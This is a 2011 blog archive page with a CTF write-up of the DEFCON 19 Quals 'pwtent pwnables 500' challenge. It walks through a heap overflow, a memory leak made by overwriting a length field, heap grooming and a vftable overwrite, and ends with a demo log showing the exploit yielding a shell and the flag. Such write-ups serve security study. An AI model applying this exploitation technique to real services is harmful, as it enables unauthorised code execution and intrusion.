June 2011 Archives

In collaboration with Hackerdom, SiBears and Leet More we made the fourth place! Now officially at ddtek.biz.

Defon 19 Quals Results

DEFCON CTF Quals occured at July 3-6 were cool! We took part in the competition together with couple other teams under united name "IV".

53 hours of continuous hacking and reversing, tons of interesting and challenging tasks. We were still submitting tasks in the last seconds and as a result we have passed to the finals, to meet, you guys, in Vegas.

AFAIK nobody has put the solution for pwtent pwnables 500, which was quite an interesting exploitation challenge.

Solution in a nutshell: heap overflow + memory leak.

[1] Vulnerability discovery

The program is a network service. The main loop reads the command number and executes it. In total there are 6 commands supported.

    while (1) 
      switch (read_option (sock);) 
        case 113: 
          return 0; 
        case 117: 
          cmd_upload_new_record (sock); 
        case 100: 
          cmd_download_record (sock); 
        case 118: 
          cmd_view_summary (sock); 
        case 114: 
          cmd_view_record (sock); 
        case 101: 
          cmd_edit_record (sock); 
        case 120: 
          cmd_delete_record (sock); 
[1.1] List of commands

[1.1.1] "upload_new_record"

When creating a new record, an instance of "class01" or "class02" is randomly created. It keeps all the data read. All generated instances are stored in the global associative array.

  read(dev_urandom_fd, &type_dw, 4);
  buf_len = recv(sock, buf, 0x100, 0);
  calc_hash(&hash_str, buf);

  if( type_dw & 1 ){
    class_ptr = operator new(216);
    class01::class01(class_ptr, buf, buf_len);
    class_ptr = operator new(240);
    class02::class02(class_ptr, buf, buf_len);
[1.1.2] "view_summary"

Lists all the classes and calls a virtual function for each.

for ( map::iterator it=buffers_map.begin() ; it != buffers_map.end(); it++ ){
     (*it)->dump_obj();               //virtual function 4
Example of output:
Item ID: 0 
Item Value: 2007987856 
Item ID: 1 
Item Value: 3677123346 

[1.1.3] "edit_record"

Calls the virtual function to copy the new buffer.

  read_obj_id(&obj_id, sock);
  recv(sock, buf, 0x100, 0);
  buffers_map[obj_id]->copy_buffer(buf);     //virtual function 0

[1.1.4] other commands

  • view record - show for one record: sequence number, rnd_value and hex dump of data
  • delete record - delete record from map and free memory
  • download record - get raw data
[1.2] Classes

As was shown above, when a record is added, an instance of "class01" or "class02" is randomly generated. These two classes are almost identical, except for buffer size and the implementation of the virtual function "copy_buffer".

struct base_class
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;

struct class_01
  base_class base;
  char buffer[200];

struct class_02
  base_class base;
  char buffer[224];
Constructor, which copies the data into an internal buffer:

class02:: class02 (class_02 * this, const void * buf, unsigned int buf_len) 
  base:: base (& this-> base); 
  this-> base.vftable = & class02_vftable; 
  if (buf_len <= 224) 
    this-> base.buffer_len = buf_len; 
    this-> base.buffer_len = 224 
  return memcpy (this-> buffer, buf, this-> base.buffer_len); 
Virtual function table:

.rodata:0804ECC8 class02_vftable dd offset cl02_vfunc0_copy_buffer
.rodata:0804ECCC                 dd offset cl02_vfunc1_get_buffer
.rodata:0804ECD0                 dd offset cl02_vfunc2_send_buffer
.rodata:0804ECD4                 dd offset cl02_vfunc3_dump_obj
.rodata:0804ECD8                 dd offset cl02_vfunc4_destructor
.rodata:0804ECDC                 dd offset cl02_vfunc5_destructor_with_delete
All generated instances are stored in an associative container, which is implemented as a red-black tree:

struct rb_tree_item 
  int color; 
  rb_tree_item * parent; 
  rb_tree_item * left; 
  rb_tree_item * right; 
  char * hash_str; 
  base_class * value; 
[1.3] Heap overflow

The method "class_02::copy_buffer" implements a classical buffer overflow. It is called from "cmd_edit_record" and copies the data came from a client into its own buffer. Since the function copies exactly 248 bytes, but the buffer size is 224 bytes, it is always overwriting 24 bytes in the heap out of border.

void class_02::copy_buffer(class_02 * this, char * buffer) 
  unsigned int i; 

  for (i = 0; i <= 248; + + i) 
     this->buffer[i] = buffer[i]; 
[2] Vulnerability exploitation

Summarizing the said above, when a new record is created there is a 50% chance of getting an instance of vulnerable class. All we need is to wait till it is created and call "edit record" command.

[2.1] Rewrite vftable

During the program execution the memory on the heap is allocated as follows:

[8 byte, heap header] [obj1] 
[8 byte, heap header] [obj2] 
[8 byte, heap header] [obj3] 
Overflowing the heap we'll overwrite the 8 bytes of data belonging to the heap manager and 16 bytes of the object allocated after. If this object is an instance of a class, we'll overwrite vftable of this instance, so we'll be able to pass control to the shellcode.

struct base_class {  
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;

[2.2] Memory leak

We can also rewrite not only vftable of the instance, but also "buffer_len" and "class_count". And the function "dump_obj" copies the data on the basis of "buffer_len".

std:string* cl02_vfunc3_dump_obj(std:string *str, class_02 *this)
  char s[0x20];
  unsigned int i;

  str = new std:string();
  sprintf(&s, "Item ID:    %d\n", this->base.class_cnt );
  str += s;
  sprintf(&s, "Item Value: %u\n", this->base.type );

  str += s;
  str += Data:\n";

  for ( i = 0; i < this->base.buffer_len; ++i )
    if ( i && i % 16 )
       str += "\n"
    sprintf(&s, " %02x", this->buffer[i]);
    str += s;

  return str;
Thus we can rewrite "buffer_len" and call "view record", which in turn calls "obj_dump" and reads the data from the heap.

If we find a structure "rb_tree_item" on the heap, we can find the address of the instance and accordingly the address of buffer containing the data we can control. The algorithm is as follows:

  1. first double word (color) == 01000000 or 00000000
  2. fifth and sixth double-word (hash_str and value) differ by 20.
struct rb_tree_item
  int color;
  rb_tree_item *parent;
  rb_tree_item *left;
  rb_tree_item *right;
  char *hash_str;
  base_class *value;
[2.3] Algorithm

In the beginning we need to get two instances put in the memory one right after another. Let's see how the memory is allocated when the new records are being consequentially added:

[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item] 
[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item]
Okay, now how can we allocate two instances consequently on the heap? Very simply: we create several entries, then delete one, hence the hole is formed in the heap. Next, smaller memory objects like "hash_str" or "rb_tree_item" will be allocated to the hole, when the new instances of the class will be allocated at the end of the heap.

  alloc 3 class        delete class         alloc again
[ hash 1         ]   [ hash 1         ]   [ hash 1         ]
[ class 1        ]   [ class 1        ]   [ class 1        ]
[ rb_tree_item 1 ]   [ rb_tree_item 1 ]   [ rb_tree_item 1 ]

[ hash 2         ]   [ free space     ]   [ hash 4         ]
[ class 2        ]   [ free space     ]   [ rb_tree_item 4 ]
[ rb_tree_item 2 ]   [ free space     ]   [ hash 5         ]
                                          [ rb_tree_item 5 ]
                                          [ free space     ]

[ hash 3         ]   [ hash 3         ]   [ hash 3         ]
[ class 3        ]   [ class 3        ]   [ class 3        ]
[ rb_tree_item 3 ]   [ rb_tree_item 3 ]   [ rb_tree_item 3 ]

[ free space     ]   [ free space     ]   [ class 4        ]
                                          [ class 5        ]
                                          [ free space     ]
Now, if the instance 4 is vulnerable, we can rewrite the data of the instance 5. First time we rewrite "buffer_len" of the instance 5, then we call "view record", in such a way we read the heap. After that we find the "rb_tree_item" structure on the heap, so we know the address of one of the instances (or the address of its buffer) and the hash value. Now we put a buffer containing a new dummy vftable and our shellcode.

[vftable addr]----------+
[shellcode addr] <------+
[shellcode addr]
[shellcode addr]
[shellcode addr] -------+
[shellcode addr] -------+
[shellcode addr] -------+
[shellcode] <-----------+
Now, again, rewrite the data of class 5, this time to rewrite vftable pointer to our buffer with dummy vftable pointing to the shellcode. Call any of the functions of the class and shellcode will get control :-).

[3] Demo

snk-box:pp500 snk$ time python pp500_client.py[+] Connect to
[*] add class: bc2d27ac8b
[*] add class: ca99de04c1
[*] add class: 15c040215a
[*] add class: d2f2f0ca85
[*] add class: 92128d18ee
[*] del class: d2f2f0ca85
[*] add class: 882b156368
[*] add class: 542dfd8f28
[*] add class: 48f78810d4
[*] add class: 24ef6bc9ae
[*] add class: 87febbedde
[*] add class: e3bf84d566
[*] add class: 11cb07ced8
[*] add class: ff01842dbb
[*] add class: 5efafa1aaf
[*] add class: ac3f63ca46
[*] try mem leak
[+] leak sucess ;)
[*] parse memory dump
[!] find class addr: 90caa08 hash:5efafa1aaf
[!] triger vulnerability
[+] check the shell :-)

real     0m9.123s
user     0m3.560s
sys     0m1.123s
snk-box:pp500 snk$ nc -vv 6666

Connection to 6666 port [tcp/*] succeeded!
echo *
bin key lib
read lol <key; echo $lol
The key is: template<code>isa<bitch>to<look>at

exploit code: dc19_pp500_exploit.py

Kudos go to @blackzert and @hellman1908 for joint work on this exploit and valuable advices.

About this Archive

This page is an archive of entries from June 2011 listed from newest to oldest.

April 2011 is the previous archive.

August 2011 is the next archive.

Find recent content on the main index or look in the archives to find all content.